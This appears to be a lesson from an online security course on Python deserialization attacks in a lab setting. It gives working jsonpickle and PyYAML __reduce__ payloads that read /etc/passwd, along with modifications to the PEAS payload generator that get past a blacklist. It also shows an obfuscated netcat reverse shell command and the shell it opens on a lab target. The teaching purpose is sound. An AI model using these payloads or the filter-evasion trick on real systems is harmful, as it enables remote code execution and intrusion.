Introduction to Deserialization Attacks  

Tools of the Trade


Current State

There are no tools for Python deserialization attacks as popular as PHPGGC for PHP. However, the attack vectors are relatively simple and very well-documented.

As I mentioned in a previous section, pickle is the default serialization library that comes with Python. However, multiple other libraries offer serialization. These libraries include JSONPickle and PyYAML.


JSONPickle

The technique for deserialization attacks in JSONPickle is essentially the same as for Pickle. In both cases, you will create a payload using the object.__reduce__() function. The resulting serialized object will just look a little different.

An example script of generating an RCE payload and the "vulnerable code" deserializing the payload can be seen below:

import jsonpickle
import os

class RCE():
  def __reduce__(self):
    return os.system, ("head /etc/passwd",)

# Serialize (generate payload)
exploit = jsonpickle.encode(RCE())
print(exploit)

# Deserialize (vulnerable code)
jsonpickle.decode(exploit)

Running the example script results in proof of code execution:

[!bash!]$ python3 jsonpickle-example.py 

{"py/reduce": [{"py/function": "posix.system"}, {"py/tuple": ["head /etc/passwd"]}]}
root:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

Some good content covering attacks for JSONPickle and Pickle are:


YAML (PyYAML, ruamel.yaml)

These libraries serialize data into YAML format. Once again, we can serialize an object with a __reduce__ function to get command execution. The serialized data will be in YAML format this time. Ruamel.yaml is based on PyYAML, so the same attack technique works for both:

import yaml
import subprocess

class RCE():
  def __reduce__(self):
    return subprocess.Popen(["head", "/etc/passwd"])

# Serialize (Create the payload)
exploit = yaml.dump(RCE())
print(exploit)

# Deserialize (vulnerable code)
yaml.load(exploit)

Running the example script will demonstrate command execution. There is a long error message. However, the command is still run, so our goal is met.

[!bash!]$ python3 yaml-example.py 

Traceback (most recent call last):
  File "/home/kali/Pen/htb/academy/work/Introduction-to-Deserialization-Attacks/3-Exploiting-Python-Deserialization/yaml-example.py", line 11, in <module>
    exploit = yaml.dump(RCE())
  File "/home/kali/.local/lib/python3.10/site-packages/yaml/__init__.py", line 290, in dump
    return dump_all([data], stream, Dumper=Dumper, **kwds)
  File "/home/kali/.local/lib/python3.10/site-packages/yaml/__init__.py", line 278, in dump_all
    dumper.represent(data)
  File "/home/kali/.local/lib/python3.10/site-packages/yaml/representer.py", line 27, in represent
    node = self.represent_data(data)
  File "/home/kali/.local/lib/python3.10/site-packages/yaml/representer.py", line 52, in represent_data
    node = self.yaml_multi_representers[data_type](self, data)
  File "/home/kali/.local/lib/python3.10/site-packages/yaml/representer.py", line 322, in represent_object
    reduce = (list(reduce)+[None]*5)[:5]
TypeError: 'Popen' object is not iterable
root:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

For further information, I recommend checking out the following links:


PEAS

PEAS is a multi-tool which can generate Python deserialization payloads for Pickle, JSONPickle, PyYAML and ruamel.yaml. I will demonstrate its use against HTBook GmbH & Co KG's website from the previous sections.

Installation is straightforward; just clone the repository from Github...

[!bash!]$ git clone https://github.com/j0lt-github/python-deserialization-attack-payload-generator.git

Cloning into 'python-deserialization-attack-payload-generator'...
remote: Enumerating objects: 97, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 97 (delta 0), reused 0 (delta 0), pack-reused 94
Receiving objects: 100% (97/97), 35.46 KiB | 2.36 MiB/s, done.
Resolving deltas: 100% (49/49), done.

... and install the Python requirements with pip:

[!bash!]$ cd python-deserialization-attack-payload-generator/
[!bash!]$ pip3 install -r requirements.txt 

Defaulting to user installation because normal site-packages is not writeable
Collecting jsonpickle==1.2
  Downloading jsonpickle-1.2-py2.py3-none-any.whl (32 kB)
Collecting PyYAML==5.1.2
...

We can generate a payload for Pickle using the command we used in the previous section to bypass the blacklist filter in place like so:

[!bash!]$ python3 peas.py 

Enter RCE command :n''c -nv 172.17.0.1 9999 -e /bin/s''h
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/payload                                                                                                                                           
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :pickle
Done Saving file !!!!

Unfortunately, starting a Netcat listener and updating the cookie's value does not result in a reverse shell as expected, but rather an Internal Server Error.

Let's investigate why this is. If we decode the payload, we can see the strings subprocess and Popen, both of which we know are blocked by the blacklist filter in util/auth.py:

[!bash!]$ cat payload_pick | base64 -d

j
subprocessPopenpython-cX8exec(ch...SNIP...(41))R.

Taking a look at the source code for peas.py we see that subprocess.Popen is indeed in use here.

...
class Gen(object):
    def __init__(self, payload):
        self.payload = payload

    def __reduce__(self):
        return subprocess.Popen, (self.payload,)
...

At this point, we see we would need to make a couple of modifications to this tool for it to actually work (in this scenario). Alternatively, we could create a custom payload using our knowledge, but for the sake of this example, I will walk through how to get peas.py working. Inside peas.py you need to make the following changes:

  • Swap subprocess.Popen out for os.system
  • Modify the argument generation as os.system accepts a string instead of an array like subproces.Popen

It should look like this:

#import subprocess
import os
...
        #return subprocess.Popen, (self.payload,)
        return (os.system, (self.payload,))
...
        #self.payload = pickle.dumps(Gen(tuple(self.case().split(" "))))
        self.payload = pickle.dumps(Gen(self.case()))
...
            #cmd = self.prefix+"python -c exec({})".format(self.chr_encode("__import__('os').system"
            cmd = self.prefix+"python -c 'exec({})'".format(self.chr_encode("__import__('os').system"
...

We can try generating the payload again with the modified version of peas.py:

[!bash!]$ python3 peas.py 

Enter RCE command :n''c -nv 172.17.0.1 9999 -e /bin/s''h
Enter operating system of target [linux/windows] . Default is linux :
Want to base64 encode payload ? [N/y] :y
Enter File location and name to save :/tmp/payload
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :pickle
Done Saving file !!!!

You may notice that the generated payload is much longer than the one we created ourselves. This is (mainly) because peas.py encodes strings with chr() so they end up looking like chr(61) + chr(62) + chr(60) + .... Anyways, starting a local Netcat listener and pasting the cookie value in should now work and give us a reverse shell:

[!bash!]$ nc -nvlp 9999

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:39385.
ls -l
total 56
-rw-r--r--    1 root     root           184 Oct 11 12:55 Dockerfile
drwxr-xr-x    1 root     root          4096 Oct 11 18:18 __pycache__
-rw-r--r--    1 root     root          2038 Oct 11 12:57 app.py
-rw-r--r--    1 root     root            37 Oct 10 16:51 flag.txt
-rw-r--r--    1 root     root         20480 Oct 11 18:18 htbooks.sqlite3
-rw-r--r--    1 root     root            27 Oct 11 12:59 requirements.txt
drwxr-xr-x    4 root     root          4096 Oct 10 16:51 static
drwxr-xr-x    2 root     root          4096 Oct 10 16:51 templates
drwxr-xr-x    1 root     root          4096 Oct 10 16:51 util
Previous

+10 Streak pts

Next